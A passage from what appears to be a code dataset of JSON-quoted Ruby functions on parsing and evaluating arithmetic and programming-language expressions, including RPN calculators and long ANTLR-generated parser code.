elsif expr[i] == '*'\n stack.push(calc stack.pop, stack.pop, &:*)\n\n # Just a number -- add to stack\n else\n next if expr[i] == nil # dont add nil to stack\n\n case expr[i]\n when /\\.{1}/\n stack.push(atof(expr[i]))\n else\n stack.push(atoi(expr[i]))\n end\n end\n end\n\n # No operator provided\n raise NotEnoughException if stack.size != 1\n \n return stack.pop # Return answer\n\n rescue NotEnoughException => e\n abort(e.mes) # inform user of error\n end\n\nend", "def scopify(expr)\n expr = insert_b(expr)\n @i = 0\n n_expr = \"\"\n last_empty = 0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n eq = false\n stack = Array.new\n last_e = Array.new\n state = 0\n while @i < expr.size\n case expr[@i]\n # Each part between brackets is seen as a subexpression\n # and it is analyzed recoursively.\n when '('\n scp = Scp.new\n n_expr += expr[@i] + scp.scopify(extract(expr[(@i + 1)...expr.length])) \n @i += scp.count \n when /[\\*\\/]/\n # If there are open brackets of higher opertions\n # it closes them\n if open_m_b > 0\n n_expr += ')' * open_m_b\n last_empty = last_e.pop\n open_m_b = 0\n #open_b -= 1\n end\n if state == 2\n n_expr += ')' * open_p_b\n open_p_b = 0\n state = (stack.size > 0 ? stack.pop : 0)\n end\n # If it is not still analyzing a multiplication, it adds the brackets \n # following the rules\n unless state == 1\n n_expr.insert last_empty, '(' \n state = 1\n open_b += 1\n end\n n_expr += expr[@i]\n last_empty = n_expr.size # + 1\n when /[\\+\\-]/\n # higher priority operation brackets are closed\n # last_empty is shifted\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n state = 0\n open_b = 0\n open_p_b = 0\n n_expr += expr[@i]\n last_empty = n_expr.size\n when /\\^/\n # It begins to put between brackets the operation and its exponent\n if open_m_b > 0 then\n n_expr += \")\" * open_m_b\n last_empty = last_e.pop\n #open_b -= 1\n open_m_b = 0\n end\n n_expr.insert last_empty, '(' unless state == 2\n last_empty += 1 unless state == 2\n n_expr += expr[@i] + (expr[@i+1] == '(' ? '' : '(')\n open_p_b += (expr[@i+1] == '(' ? 1 : (state == 2 ? 1:2))\n stack.push state unless state == 2\n state = 2\n when /\\=/\n # The expression at the left of `=` is put between brackets\n # and a bracket at the right is opened\n # It closes previously opened brackets\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' * open_m_b if open_m_b >0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n n_expr += '('\n last_empty = n_expr.size\n state = 0\n eq = true\n when /\\>/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n open_b = 0\n open_p_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n last_empty = n_expr.size\n when /\\:/\n n_expr.insert last_empty, '('\n n_expr += expr[@i]\n last_k = n_expr[(last_empty+1)...n_expr.size]\n open_m_b += 1 if \"mx:integ:as:from:\".include? last_k\n last_e.pop if last_e.count > 0 and (last_k == \"mx:\" or last_k == \"integ:\")# or last_k == \"solve:\")\n last_e.push last_empty if last_k == \"mx:\" or last_k == \"integ:\"# or last_k == \"solve:\"\n last_empty = n_expr.size\n open_b += 1 unless \"mx:integ:as:from:\".include? last_k\n when /\\\"/\n n_expr += expr[@i]\n @i += 1\n n_expr += discard(expr)\n last_empty = n_expr.length\n when /\\~/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * (open_b - 1 ) if open_b - 1 > 0\n open_p_b = 0\n open_b = 1\n state = (stack.size > 0 ? stack.pop : 0)\n n_expr += expr[@i]\n last_empty = n_expr.size \n else\n n_expr += expr[@i]\n end\n @i += 1\n end\n # it closes all the opened brackets\n n_expr += ')' * open_m_b if open_m_b > 0\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' if eq\n return n_expr\n end", "def equation_analyzer(str)\n equation_array = []\n result_array = []\n open_parenth = 0\n closed_parenth = 0\n str.each_char do |character|\n open_parenth += 1 if character == '('\n closed_parenth += 1 if character == ')'\n equation_array << character\n if open_parenth == closed_parenth \n result_array << equation_array.join\n open_parenth = 0\n closed_parenth = 0\n equation_array = []\n end\n end\n result_array.delete(' ')\n result_array\nend", "def calculate(input)\n raise error(\"length is zero!\") unless input.length > 0\n # break input string on whitespace for tokens.\n tokens = input.strip.gsub(/\\(|\\)/,'').split(/\\s+/m)\n tokens.each_with_index do |token, index|\n raise error(\"syntax error at token ##{index + 1} '#{token}'\") unless token =~ /\\d+|[*-\\/+^%]/\n # if this is an operand, add it to the stack\n if token =~ /\\d/\n @stack << token.to_f\n else\n raise error(\"not enough operands at token ##{index + 1} '#{token}'\") if (@stack.length < MIN_TOKENS && @strict)\n # if it is an operator, take the operands off the stack and apply the operator to them\n while @stack.length > 1\n first, second = @stack.pop(MIN_TOKENS)\n @stack << first.send(token, second)\n end\n end\n end\n raise error(\"invalid syntax\") unless @stack.length == 1\n @stack.pop\n end", "def expr(path_stack, nodeset, context = T.unsafe(nil)); end", "def build_expression_node(node, model_class, comparator, conditions, root = false)\n conditions.reduce([nil, []]) do |(left_expression, joins), (key, value)|\n comparison_node, node_joins = build_comparison_node(root ? node : node.dup, model_class,\n key, comparator, value)\n if left_expression\n [left_expression & comparison_node, joins.concat(node_joins)]\n else\n [comparison_node, node_joins]\n end\n end\n end", "def create_method_from_expressions; end", "def eval_math(string)\n number_stack = []\n operator_stack = []\n tokens = string.split(\" \")\n tokens.each_with_index do |n, i|\n if n == \"*\" \n number_stack << number_stack.pop.to_i * tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif n == \"/\" \n number_stack << number_stack.pop.to_i / tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif ['+','-'].include? n\n operator_stack << n\n else\n number_stack << n\n end\n puts \"evaling n: #{n}, number_stack #{number_stack} operator_stack #{operator_stack}\"\n end\n result = 0\n operator_stack.each do |o|\n if o == '+'\n number_stack[0] = number_stack.first.to_i + number_stack.delete_at(1).to_i\n end\n if o == '-'\n number_stack[0] = number_stack.first.to_i - number_stack.delete_at(1).to_i\n end\n end\n\n return number_stack[0]\n\nend", "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 46 )\n return_value = ExpressionReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n member220 = nil\n assignment_op221 = nil\n expression222 = nil\n conditional223 = nil\n\n\n begin\n # at line 556:3: ( ( member assignment_op )=> member assignment_op expression | conditional )\n alt_50 = 2\n alt_50 = @dfa50.predict( @input )\n case alt_50\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 556:5: ( member assignment_op )=> member assignment_op expression\n @state.following.push( TOKENS_FOLLOWING_member_IN_expression_3699 )\n member220 = member\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, member220.tree )\n end\n @state.following.push( TOKENS_FOLLOWING_assignment_op_IN_expression_3701 )\n assignment_op221 = assignment_op\n @state.following.pop\n if @state.backtracking == 0\n root_0 = @adaptor.become_root( assignment_op221.tree, root_0 )\n end\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_3704 )\n expression222 = expression\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, expression222.tree )\n end\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 557:5: conditional\n @state.following.push( TOKENS_FOLLOWING_conditional_IN_expression_3710 )\n conditional223 = conditional\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, conditional223.tree )\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 46 )\n\n end\n \n return return_value\n end", "def initialize(operands, expr = nil, compiler = nil)\n super(expr, compiler)\n @operands = operands\n end", "def insert_b(expr)\n @i = 0\n string = false\n while @i < expr.size \n string = (expr[@i] == \"\\\"\") ? (string ? false : true) : (string)\n if (expr[@i] == '-' or expr[@i] == '+') and ((expr[@i - 1] == '(') or (@i == 0)) and !string then\n expr.insert @i, '()'\n end\n @i += 1\n end\n return expr\n end", "def parse(expr)\n if not expr.is_a? (Array)\n case expr\n when !!expr == expr\n BoolC.new(expr)\n when Numeric\n NumC.new(expr)\n when Symbol\n IdC.new(expr)\n end\n\n elsif expr.first.is_a? (Symbol)\n\n case expr.first\n when :if\n IfC.new(parse(expr[1]), parse(expr[2]), parse(expr[3]))\n\n when :with\n paramsArgs = expr.slice(1, expr.length - 2)\n AppC.new(LamC.new(paramsArgs.map {|x| withParams(x)}, parse(expr.last)), paramsArgs.map {|x| withArgs(x)})\n\n when :func\n params = expr.slice(1, expr.length - 2)\n if params.uniq.length == params.length\n LamC.new(params, parse(expr.last))\n else\n raise \"Duplicate Params\"\n end\n\n when Symbol\n\tif [:+, :-, :/, :*].include?(expr[0])\n BinopC.new(expr[0], parse(expr[1]), parse(expr[2]))\n else\n args = expr.slice(1, expr.length)\n AppC.new(parse(expr.first), args.map {|x| parse(x)})\n end\n end\n\n else\n args = expr.slice(1, expr.length)\n AppC.new(parse(expr.first), args.map {|x| parse(x)})\n end\nend", "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n return_value = ExpressionReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n char_literal106 = nil\n char_literal110 = nil\n string_literal113 = nil\n __SLASH_ASGN116__ = nil\n __MOD_ASGN119__ = nil\n string_literal122 = nil\n string_literal125 = nil\n string_literal128 = nil\n string_literal131 = nil\n string_literal134 = nil\n string_literal137 = nil\n string_literal140 = nil\n string_literal143 = nil\n string_literal146 = nil\n char_literal149 = nil\n string_literal152 = nil\n char_literal155 = nil\n char_literal158 = nil\n string_literal161 = nil\n string_literal164 = nil\n string_literal167 = nil\n char_literal170 = nil\n char_literal173 = nil\n __MOD176__ = nil\n __SLASH179__ = nil\n char_literal182 = nil\n string_literal185 = nil\n string_literal188 = nil\n string_literal191 = nil\n string_literal194 = nil\n string_literal197 = nil\n string_literal200 = nil\n char_literal203 = nil\n char_literal206 = nil\n string_literal209 = nil\n string_literal212 = nil\n string_literal215 = nil\n string_literal217 = nil\n string_literal219 = nil\n string_literal221 = nil\n string_literal223 = nil\n __UPLUS225__ = nil\n __UMINUS227__ = nil\n char_literal229 = nil\n char_literal231 = nil\n __POST_INCR233__ = nil\n __POST_DECR235__ = nil\n __AREF237__ = nil\n char_literal240 = nil\n __CALL243__ = nil\n __ITER246__ = nil\n string_literal249 = nil\n expression107 = nil\n expression108 = nil\n expression109 = nil\n expression111 = nil\n expression112 = nil\n expression114 = nil\n expression115 = nil\n expression117 = nil\n expression118 = nil\n expression120 = nil\n expression121 = nil\n expression123 = nil\n expression124 = nil\n expression126 = nil\n expression127 = nil\n expression129 = nil\n expression130 = nil\n expression132 = nil\n expression133 = nil\n expression135 = nil\n expression136 = nil\n expression138 = nil\n expression139 = nil\n expression141 = nil\n expression142 = nil\n expression144 = nil\n expression145 = nil\n expression147 = nil\n expression148 = nil\n expression150 = nil\n expression151 = nil\n expression153 = nil\n expression154 = nil\n expression156 = nil\n expression157 = nil\n expression159 = nil\n expression160 = nil\n expression162 = nil\n expression163 = nil\n expression165 = nil\n expression166 = nil\n expression168 = nil\n expression169 = nil\n expression171 = nil\n expression172 = nil\n expression174 = nil\n expression175 = nil\n expression177 = nil\n expression178 = nil\n expression180 = nil\n expression181 = nil\n expression183 = nil\n expression184 = nil\n expression186 = nil\n expression187 = nil\n expression189 = nil\n expression190 = nil\n expression192 = nil\n expression193 = nil\n expression195 = nil\n expression196 = nil\n expression198 = nil\n expression199 = nil\n expression201 = nil\n expression202 = nil\n expression204 = nil\n expression205 = nil\n expression207 = nil\n expression208 = nil\n expression210 = nil\n expression211 = nil\n expression213 = nil\n expression214 = nil\n expression216 = nil\n expression218 = nil\n expression220 = nil\n expression222 = nil\n expression224 = nil\n expression226 = nil\n expression228 = nil\n expression230 = nil\n expression232 = nil\n expression234 = nil\n expression236 = nil\n expression238 = nil\n expression239 = nil\n expression241 = nil\n property_name242 = nil\n expression244 = nil\n arguments245 = nil\n parameters247 = nil\n block248 = nil\n expression250 = nil\n arguments251 = nil\n literal252 = nil\n\n tree_for_char_literal106 = nil\n tree_for_char_literal110 = nil\n tree_for_string_literal113 = nil\n tree_for_SLASH_ASGN116 = nil\n tree_for_MOD_ASGN119 = nil\n tree_for_string_literal122 = nil\n tree_for_string_literal125 = nil\n tree_for_string_literal128 = nil\n tree_for_string_literal131 = nil\n tree_for_string_literal134 = nil\n tree_for_string_literal137 = nil\n tree_for_string_literal140 = nil\n tree_for_string_literal143 = nil\n tree_for_string_literal146 = nil\n tree_for_char_literal149 = nil\n tree_for_string_literal152 = nil\n tree_for_char_literal155 = nil\n tree_for_char_literal158 = nil\n tree_for_string_literal161 = nil\n tree_for_string_literal164 = nil\n tree_for_string_literal167 = nil\n tree_for_char_literal170 = nil\n tree_for_char_literal173 = nil\n tree_for_MOD176 = nil\n tree_for_SLASH179 = nil\n tree_for_char_literal182 = nil\n tree_for_string_literal185 = nil\n tree_for_string_literal188 = nil\n tree_for_string_literal191 = nil\n tree_for_string_literal194 = nil\n tree_for_string_literal197 = nil\n tree_for_string_literal200 = nil\n tree_for_char_literal203 = nil\n tree_for_char_literal206 = nil\n tree_for_string_literal209 = nil\n tree_for_string_literal212 = nil\n tree_for_string_literal215 = nil\n tree_for_string_literal217 = nil\n tree_for_string_literal219 = nil\n tree_for_string_literal221 = nil\n tree_for_string_literal223 = nil\n tree_for_UPLUS225 = nil\n tree_for_UMINUS227 = nil\n tree_for_char_literal229 = nil\n tree_for_char_literal231 = nil\n tree_for_POST_INCR233 = nil\n tree_for_POST_DECR235 = nil\n tree_for_AREF237 = nil\n tree_for_char_literal240 = nil\n tree_for_CALL243 = nil\n tree_for_ITER246 = nil\n tree_for_string_literal249 = nil\n\n begin\n # at line 150:3: ( ^( '?' expression expression expression ) | ^( '=' expression expression ) | ^( '*=' expression expression ) | ^( SLASH_ASGN expression expression ) | ^( MOD_ASGN expression expression ) | ^( '+=' expression expression ) | ^( '-=' expression expression ) | ^( '<<=' expression expression ) | ^( '>>=' expression expression ) | ^( '>>>=' expression expression ) | ^( '&=' expression expression ) | ^( '^=' expression expression ) | ^( '||=' expression expression ) | ^( '|=' expression expression ) | ^( '|' expression expression ) | ^( '||' expression expression ) | ^( '&' expression expression ) | ^( '^' expression expression ) | ^( '>>' expression expression ) | ^( '<<' expression expression ) | ^( '>>>' expression expression ) | ^( '-' expression expression ) | ^( '+' expression expression ) | ^( MOD expression expression ) | ^( SLASH expression expression ) | ^( '*' expression expression ) | ^( '==' expression expression ) | ^( '===' expression expression ) | ^( '!=' expression expression ) | ^( '!==' expression expression ) | ^( '>=' expression expression ) | ^( '<=' expression expression ) | ^( '>' expression expression ) | ^( '<' expression expression ) | ^( 'instanceof' expression expression ) | ^( 'in' expression expression ) | ^( 'delete' expression ) | ^( 'void' expression ) | ^( 'typeof' expression ) | ^( '++' expression ) | ^( '--' expression ) | ^( UPLUS expression ) | ^( UMINUS expression ) | ^( '~' expression ) | ^( '!' expression ) | ^( POST_INCR expression ) | ^( POST_DECR expression ) | ^( AREF expression expression ) | ^( '.' expression property_name ) | ^( CALL expression arguments ) | ^( ITER parameters block ) | ^( 'new' expression ( arguments )? ) | literal )\n alt_32 = 53\n case look_32 = @input.peek( 1 )\n when QMARK then alt_32 = 1\n when ASGN then alt_32 = 2\n when STAR_ASGN then alt_32 = 3\n when SLASH_ASGN then alt_32 = 4\n when MOD_ASGN then alt_32 = 5\n when PLUS_ASGN then alt_32 = 6\n when MINUS_ASGN then alt_32 = 7\n when LSHIFT_ASGN then alt_32 = 8\n when RSHIFT_ASGN then alt_32 = 9\n when RSHIFT3_ASGN then alt_32 = 10\n when AMP_ASGN then alt_32 = 11\n when HAT_ASGN then alt_32 = 12\n when OR_ASGN then alt_32 = 13\n when PIPE_ASGN then alt_32 = 14\n when PIPE then alt_32 = 15\n when OR then alt_32 = 16\n when AMP then alt_32 = 17\n when HAT then alt_32 = 18\n when RSHIFT then alt_32 = 19\n when LSHIFT then alt_32 = 20\n when RSHIFT3 then alt_32 = 21\n when MINUS then alt_32 = 22\n when PLUS then alt_32 = 23\n when MOD then alt_32 = 24\n when SLASH then alt_32 = 25\n when STAR then alt_32 = 26\n when EQ then alt_32 = 27\n when EQQ then alt_32 = 28\n when NEQ then alt_32 = 29\n when NEQQ then alt_32 = 30\n when GEQ then alt_32 = 31\n when LEQ then alt_32 = 32\n when GREATER then alt_32 = 33\n when LESS then alt_32 = 34\n when INSTANCEOF then alt_32 = 35\n when IN then alt_32 = 36\n when DELETE then alt_32 = 37\n when VOID then alt_32 = 38\n when TYPEOF then alt_32 = 39\n when INCR then alt_32 = 40\n when DECR then alt_32 = 41\n when UPLUS then alt_32 = 42\n when UMINUS then alt_32 = 43\n when TILDE then alt_32 = 44\n when NOT then alt_32 = 45\n when POST_INCR then alt_32 = 46\n when POST_DECR then alt_32 = 47\n when AREF then alt_32 = 48\n when DOT then alt_32 = 49\n when CALL then alt_32 = 50\n when ITER then alt_32 = 51\n when NEW then alt_32 = 52\n when FUNCTION, ARRAY, ARROW, REGEX, THIS, TRUE, UNDEFINED, NULL, OBJECT, FALSE, ID, IVAR, NUMBER, STRING, DOC then alt_32 = 53\n else\n raise NoViableAlternative( \"\", 32, 0 )\n end\n case alt_32\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 150:5: ^( '?' expression expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal106 = match( QMARK, TOKENS_FOLLOWING_QMARK_IN_expression_813 )\n\n tree_for_char_literal106 = @adaptor.copy_node( char_literal106 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal106, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_815 )\n expression107 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression107.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_817 )\n expression108 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression108.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_819 )\n expression109 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression109.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 151:5: ^( '=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal110 = match( ASGN, TOKENS_FOLLOWING_ASGN_IN_expression_829 )\n\n tree_for_char_literal110 = @adaptor.copy_node( char_literal110 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal110, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_831 )\n expression111 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression111.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_833 )\n expression112 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression112.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 152:5: ^( '*=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal113 = match( STAR_ASGN, TOKENS_FOLLOWING_STAR_ASGN_IN_expression_843 )\n\n tree_for_string_literal113 = @adaptor.copy_node( string_literal113 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal113, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_845 )\n expression114 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression114.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_847 )\n expression115 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression115.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 4\n root_0 = @adaptor.create_flat_list\n\n\n # at line 153:5: ^( SLASH_ASGN expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SLASH_ASGN116__ = match( SLASH_ASGN, TOKENS_FOLLOWING_SLASH_ASGN_IN_expression_857 )\n\n tree_for_SLASH_ASGN116 = @adaptor.copy_node( __SLASH_ASGN116__ )\n\n root_1 = @adaptor.become_root( tree_for_SLASH_ASGN116, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_859 )\n expression117 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression117.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_861 )\n expression118 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression118.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 5\n root_0 = @adaptor.create_flat_list\n\n\n # at line 154:5: ^( MOD_ASGN expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __MOD_ASGN119__ = match( MOD_ASGN, TOKENS_FOLLOWING_MOD_ASGN_IN_expression_871 )\n\n tree_for_MOD_ASGN119 = @adaptor.copy_node( __MOD_ASGN119__ )\n\n root_1 = @adaptor.become_root( tree_for_MOD_ASGN119, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_873 )\n expression120 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression120.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_875 )\n expression121 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression121.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 6\n root_0 = @adaptor.create_flat_list\n\n\n # at line 155:5: ^( '+=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal122 = match( PLUS_ASGN, TOKENS_FOLLOWING_PLUS_ASGN_IN_expression_885 )\n\n tree_for_string_literal122 = @adaptor.copy_node( string_literal122 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal122, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_887 )\n expression123 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression123.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_889 )\n expression124 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression124.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 7\n root_0 = @adaptor.create_flat_list\n\n\n # at line 156:5: ^( '-=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal125 = match( MINUS_ASGN, TOKENS_FOLLOWING_MINUS_ASGN_IN_expression_899 )\n\n tree_for_string_literal125 = @adaptor.copy_node( string_literal125 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal125, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_901 )\n expression126 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression126.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_903 )\n expression127 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression127.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 8\n root_0 = @adaptor.create_flat_list\n\n\n # at line 157:5: ^( '<<=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal128 = match( LSHIFT_ASGN, TOKENS_FOLLOWING_LSHIFT_ASGN_IN_expression_913 )\n\n tree_for_string_literal128 = @adaptor.copy_node( string_literal128 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal128, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_915 )\n expression129 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression129.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_917 )\n expression130 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression130.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 9\n root_0 = @adaptor.create_flat_list\n\n\n # at line 158:5: ^( '>>=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal131 = match( RSHIFT_ASGN, TOKENS_FOLLOWING_RSHIFT_ASGN_IN_expression_927 )\n\n tree_for_string_literal131 = @adaptor.copy_node( string_literal131 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal131, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_929 )\n expression132 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression132.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_931 )\n expression133 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression133.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 10\n root_0 = @adaptor.create_flat_list\n\n\n # at line 159:5: ^( '>>>=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal134 = match( RSHIFT3_ASGN, TOKENS_FOLLOWING_RSHIFT3_ASGN_IN_expression_941 )\n\n tree_for_string_literal134 = @adaptor.copy_node( string_literal134 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal134, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_943 )\n expression135 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression135.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_945 )\n expression136 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression136.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 11\n root_0 = @adaptor.create_flat_list\n\n\n # at line 160:5: ^( '&=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal137 = match( AMP_ASGN, TOKENS_FOLLOWING_AMP_ASGN_IN_expression_955 )\n\n tree_for_string_literal137 = @adaptor.copy_node( string_literal137 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal137, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_957 )\n expression138 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression138.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_959 )\n expression139 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression139.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 12\n root_0 = @adaptor.create_flat_list\n\n\n # at line 161:5: ^( '^=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal140 = match( HAT_ASGN, TOKENS_FOLLOWING_HAT_ASGN_IN_expression_969 )\n\n tree_for_string_literal140 = @adaptor.copy_node( string_literal140 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal140, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_971 )\n expression141 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression141.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_973 )\n expression142 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression142.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 13\n root_0 = @adaptor.create_flat_list\n\n\n # at line 162:5: ^( '||=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal143 = match( OR_ASGN, TOKENS_FOLLOWING_OR_ASGN_IN_expression_983 )\n\n tree_for_string_literal143 = @adaptor.copy_node( string_literal143 )\n\n root_1 = 